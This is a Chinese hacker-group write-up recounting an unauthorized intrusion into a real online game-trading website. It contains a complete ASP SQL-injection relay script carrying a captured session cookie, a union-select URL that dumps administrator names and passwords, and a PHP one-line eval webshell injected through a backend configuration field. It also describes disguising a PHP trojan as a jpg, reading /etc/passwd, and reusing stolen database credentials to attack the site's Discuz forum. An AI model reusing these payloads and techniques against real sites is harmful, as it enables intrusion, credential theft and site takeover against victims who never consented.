渗透某一游戏交易网

文章出处:C.R.S.T作者:消失再消失blog:www.hackerchina.cnPS:本文是入侵后整理思路时回忆性的文章 转载请注明出处在这次入侵之前我已经拿到过一次这个网站的shell了,但是被删除了,由于不甘心又拿了一次,才有了下面的过程一: 踩点 收集信息因为这个已经是第二次入侵,所以具体的信息我已经基本上掌握服务器上13个站点,大多数站点很安全,因为第一渗透的时候,是由http://www.shanXXX.XX 这个站进入的我这个人比较恋旧,所以第二次也决定由这个站点进行入侵,由后台看出这个站的程序是RAICO_V1[1].2_CS 如图1[attach]3280[/attach]直接从网上down下来,读代码,当然这里的php代码 本人是非常的菜鸟,感谢我的好友jackal,他的脚本是相当的强悍,呵呵二: 漏洞在哪里?它在灯火阑珊处这个程序的漏洞文件是在post_task_review.php由于过滤不严格导致注入,下面我会在文章中详细说明如何利用, 首先在shan这个站注册个用户 并抓取登陆的cookie值,在到本地或者webshell上建立一个注入中转站的文件内容如下<%JmdcwName=request(id) 注入中转站 POST 版,BY 寂寞的刺猬 [L.S.T]JmStr=task_subject=111&task_endday=1&task_starttime=2008-06-13+05%3A25%3A30&task_money=1&task_desc=1&addsubmit=%D4%A4%C0%C0&kind_id=&JmdcwNameJMUrl=http://www.shanXXX.XX/post_task_review.phpJmRef=http://www.shanXXX.XX/post_task.phpJmCok=__utma=213560918.3117244849183171600.1213283730.1213293786.1213305387.4; __utmz=213560918.1213283730.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=213560918.21.10.1213305387; __utmc=213560918; PHPSESSID=96b20d4edfe8477cf276aa639bfc31d3JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef)Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim HttpSet Http = Server.CreateObject(msxml2.serverXMLHTTP)With Http.Open POST,PostUrl,False.SetRequestHeader Content-Length,Len(PostStr).SetRequestHeader Content-Type,application/x-www-form-urlencoded.SetRequestHeader Referer,PostRef.SetRequestHeader Cookie,PostCok.Send PostStrPostData = .ResponseBodyEnd WithSet Http = NothingPostData =bytes2BSTR(PostData)End FunctionFunction bytes2BSTR(vIn)Dim strReturnDim I, ThisCharCode, NextCharCodestrReturn = For I = 1 To LenB(vIn)ThisCharCode = AscB(MidB(vIn, I, 1))If ThisCharCode < &H80 ThenstrReturn = strReturn & Chr(ThisCharCode)ElseNextCharCode = AscB(MidB(vIn, I + 1, 1))strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))I = I + 1End IfNextbytes2BSTR = strReturnEnd FunctionFunction URLEncoding(vstrin)strReturn=Dim iFor i=1 To Len(vstrin)ThisChr=Mid(vstrin,i,1)if Abs(Asc(ThisChr))< &HFF ThenstrReturn=strReturn & ThisChrElseInnerCode=Asc(ThisChr)If InnerCode<0 ThenInnerCode=InnerCode + &H10000End IfHight1=(InnerCode And &HFF00) \&HFFLow1=InnerCode And &HFFstrReturn=strReturn & % & Hex(Hight1) & % & Hex(Low1)End ifNextstrReturn=Replace(strReturn,chr(32),%20) 转换空格,如果网站过滤了空格,尝试用/**/来代替%20strReturn=Replace(strReturn,chr(43),%2B) JMDCW增加转换+字符strReturn=Replace(strReturn,过滤字符,转换为字符) 在此增加要过滤的代码URLEncoding=strReturnEnd Function%>之后浏览地址为http://localhost/jmpost.asp?id=1107%20and%201=2%20union%20select%20-1,concat(admin_name,admin_pw)%20from%20rco_admin/* 就可以直接爆出管理员的用户名和密码 如图2[attach]3281[/attach]三: 获取webshell 拿到目标站的路径.登陆后台,只能上传图片,抓包上传,截断 ,未能实现.但是后台的配置那可以插一句话a;@eval($_POST[cmd]);//写进去本来是site=a\;@eval但是过滤了就成了site=a;@eval;//这样成功的闭合了前面的双引,把后面的双引注释掉了.中间的;@eval($_POST[cmd]);就可以执行了.把a;@eval($_POST[cmd]);// 写进去就保存到一个文件里了.这个文件被所有的文件包含.所以我们直接同一句话连接端连接网站的任何一个文件都可以获得webshell. 如图[attach]3282[/attach][attach]3283[/attach]直接传php没传上去,所以把php马改成jpg格式的,之后在一句话连接端中修改成php的顺利拿到webshell如图[attach]3284[/attach],linux的服务器执行 cat /etc/password 获得目标站的路径,如图6[attach]3285[/attach]直接跳转到目标站的目录, 全是0644,尝试过提权 但是反弹不了,后来才知道是服务器连不上网.搞到这里,应该是大功告成了,传马,ok!四:意外情况,不是意外收获.上传木马成功,惊喜之余,去访问shell地址,错误 Not Found.经验告诉我,可能是换了服务器,因为这样的游戏站基本上都是变态,被搞一次,安全性就加大N倍,很黄,很强大.ping 了下ip 发现真的换了服务器.五:峰回路转不过还是用的原来的程序,这里我就想了,程序都没换,数据库也应该没换吧,找到原来服务器的数据库连接文件,查看到数据库的密码 如图7[attach]3286[/attach]连接,之前通过目录看到这个站有个论坛,数据库里也有bbs member这个表,是否可以通过这个获取新服务器的webshell呢?查看 如图8[attach]3287[/attach]通过程序访问地址XXX.XXX.XXX/bbs/index.php 我靠 是dz6.0不过还好,以前看过好象是可以拿webshell登陆,成功 如图[attach]3288[/attach]进入后台 找到模板编辑语言包,但是它竟然提示没有权限....如图[attach]3289[/attach]到此 我的入侵就告于段落了,因为目前为止好象还没有其他办法获取dz6.0的webshell....这次渗透有点迂回,虽然没有达到最后的目的,但是还是有一些经验可以供大家参考的再次感谢我的好友jackal! 『关闭该页』 『打印该页』